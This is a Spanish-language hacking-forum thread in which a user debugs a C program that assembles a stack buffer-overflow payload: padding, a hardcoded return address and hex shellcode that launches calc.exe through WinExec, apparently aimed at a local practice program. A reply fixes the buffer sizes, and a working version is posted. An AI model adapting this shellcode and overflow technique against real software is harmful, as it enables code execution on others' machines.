elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Tutorial básico de Quickjs


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse, K-YreX)
| | |-+  Problema con código en C
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Problema con código en C  (Leído 1,713 veces)
.:UND3R:.
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.118


Ingeniería inversa / MASM


Ver Perfil WWW
Problema con código en C
« en: 18 Junio 2013, 00:50 am »

Hola a todos estoy intentando programar mis propias shellcode:

Código
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <stdlib.h>
  4.  
  5. void main(int argc, char *argv[]) {
  6. char relleno[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
  7. char offset[]  = "\xED\x1E\x95\x7C";
  8. char exploit[] = "\x55\x8B\xEC\x83\xEC\x0C\x32\xD2\xC6\x45\xF4\x63\xC6\x45\xF5\x61\xC6\x45\xF6\x6C\xC6\x45\xF7\x63\xC6\x45\xF8\x2E\xC6\x45\xF9\x65"
  9. "\xC6\x45\xFA\x78\xC6\x45\xFB\x65\x88\x55\xFC\x8D\x45\xF4\x6A\x01\x50\xBB\x4D\x11\x86\x7C\xFF\xD3\x8B\xE5\x5D";
  10.  
  11. strcat(offset,exploit);
  12. strcat(relleno,offset);
  13.  
  14. //argv[0] = "vuln1";
  15.    //argv[1] = relleno;
  16.    //argv[2] = NULL;
  17.  
  18. //execv ("vuln.exe",argv);
  19.  
  20. }

El problema está en la segunda concatenación, esta genera errores al momento de ejecutar, ¿cual podría ser el problema?, saludos y gracias.


En línea


Solicitudes de crack, keygen, serial solo a través de mensajes privados (PM)
amchacon


Desconectado Desconectado

Mensajes: 1.211



Ver Perfil
Re: Problema con código en C
« Respuesta #1 en: 18 Junio 2013, 00:54 am »

En exploit has puesto dos cadenas seguidas.

Quita las comillas y ponlas en una sola.


En línea

Por favor, no me manden MP con dudas. Usen el foro, gracias.

¡Visita mi programa estrella!

Rar File Missing: Esteganografía en un Rar
.:UND3R:.
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.118


Ingeniería inversa / MASM


Ver Perfil WWW
Re: Problema con código en C
« Respuesta #2 en: 18 Junio 2013, 00:55 am »

El error persiste, ¿a que se podría deber?, saludos.
Código
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <stdlib.h>
  4.  
  5. void main(int argc, char *argv[]) {
  6. char relleno[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
  7. char offset[]  = "\xED\x1E\x95\x7C";
  8. char exploit[] = "\x55\x8B\xEC\x83\xEC\x0C\x32\xD2\xC6\x45\xF4\x63\xC6\x45\xF5\x61\xC6\x45\xF6\x6C\xC6\x45\xF7\x63\xC6\x45\xF8\x2E\xC6\x45\xF9\x65\xC6\x45\xFA\x78\xC6\x45\xFB\x65\x88\x55\xFC\x8D\x45\xF4\x6A\x01\x50\xBB\x4D\x11\x86\x7C\xFF\xD3\x8B\xE5\x5D";
  9.  
  10. strcat(offset,exploit);
  11. strcat(relleno,offset);
  12.  
  13. //argv[0] = "vuln1";
  14.    //argv[1] = relleno;
  15.    //argv[2] = NULL;
  16.  
  17. //execv ("vuln.exe",argv);
  18.  
  19. }
En línea


Solicitudes de crack, keygen, serial solo a través de mensajes privados (PM)
amchacon


Desconectado Desconectado

Mensajes: 1.211



Ver Perfil
Re: Problema con código en C
« Respuesta #3 en: 18 Junio 2013, 00:59 am »

Bueno que no has reservado memoria suficiente.

Me explico, offset tendrá 5-6 bytes y le quieres meter 30 más. Como solo has reservado 5 te da error.

Prueba reservando muchos:

Código
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <stdlib.h>
  4.  
  5. int main(int argc, char *argv[]) {
  6. char relleno[250] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
  7. char offset[250]  = "\xED\x1E\x95\x7C";
  8. char exploit[250] = "\x55\x8B\xEC\x83\xEC\x0C\x32\xD2\xC6\x45\xF4\x63\xC6\x45\xF5\x61\xC6\x45\xF6\x6C\xC6\x45\xF7\x63\xC6\x45\xF8\x2E\xC6\x45\xF9\x65\xC6\x45\xFA\x78\xC6\x45\xFB\x65\x88\x55\xFC\x8D\x45\xF4\x6A\x01\x50\xBB\x4D\x11\x86\x7C\xFF\xD3\x8B\xE5\x5D";
  9.  
  10. strcat(offset,exploit);
  11. strcat(relleno,offset);
  12.  
  13. //argv[0] = "vuln1";
  14.    //argv[1] = relleno;
  15.    //argv[2] = NULL;
  16.  
  17. //execv ("vuln.exe",argv);
  18.  
  19.    getchar();
  20.    return 0;
  21. }
  22.  
En línea

Por favor, no me manden MP con dudas. Usen el foro, gracias.

¡Visita mi programa estrella!

Rar File Missing: Esteganografía en un Rar
.:UND3R:.
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.118


Ingeniería inversa / MASM


Ver Perfil WWW
Re: Problema con código en C
« Respuesta #4 en: 18 Junio 2013, 01:05 am »

Era tal como lo comentabas, adjunto el código funcional:

Código
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <stdlib.h>
  4.  
  5. void main(int argc, char *argv[]) {
  6. char relleno[1024] ="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
  7. char offset[]  = "\xED\x1E\x95\x7C";
  8. char exploit[] = "\x55\x8B\xEC\x83\xEC\x0C\x32\xD2\xC6\x45\xF4\x63\xC6\x45\xF5\x61\xC6\x45\xF6\x6C\xC6\x45\xF7\x63\xC6\x45\xF8\x2E\xC6\x45\xF9\x65\xC6\x45\xFA\x78\xC6\x45\xFB\x65\x88\x55\xFC\x8D\x45\xF4\x6A\x01\x50\xBB\x4D\x11\x86\x7C\xFF\xD3\x8B\xE5\x5D";
  9.  
  10. strcat(relleno,offset);
  11. strcat(relleno,exploit);
  12.  
  13. //argv[0] = "vuln1";
  14.    //argv[1] = relleno;
  15.    //argv[2] = NULL;
  16.  
  17. //execv ("vuln.exe",argv);
  18.  
  19. }

Muchas gracias, saludos.
En línea


Solicitudes de crack, keygen, serial solo a través de mensajes privados (PM)
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Problema con código
Programación Visual Basic
z3r0 Bug 7 2,217 Último mensaje 24 Noviembre 2005, 16:51 pm
por NYlOn
¿Cuál es la diferencia entre código objeto, código máquina y código binario?
Programación General
Aikanáro Anário 9 29,003 Último mensaje 23 Diciembre 2010, 15:19 pm
por pucheto
Extrayendo código fuente de una web (Problema con código generado por JS)
PHP
Littl3 4 7,861 Último mensaje 3 Marzo 2011, 04:13 am
por Nakp
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines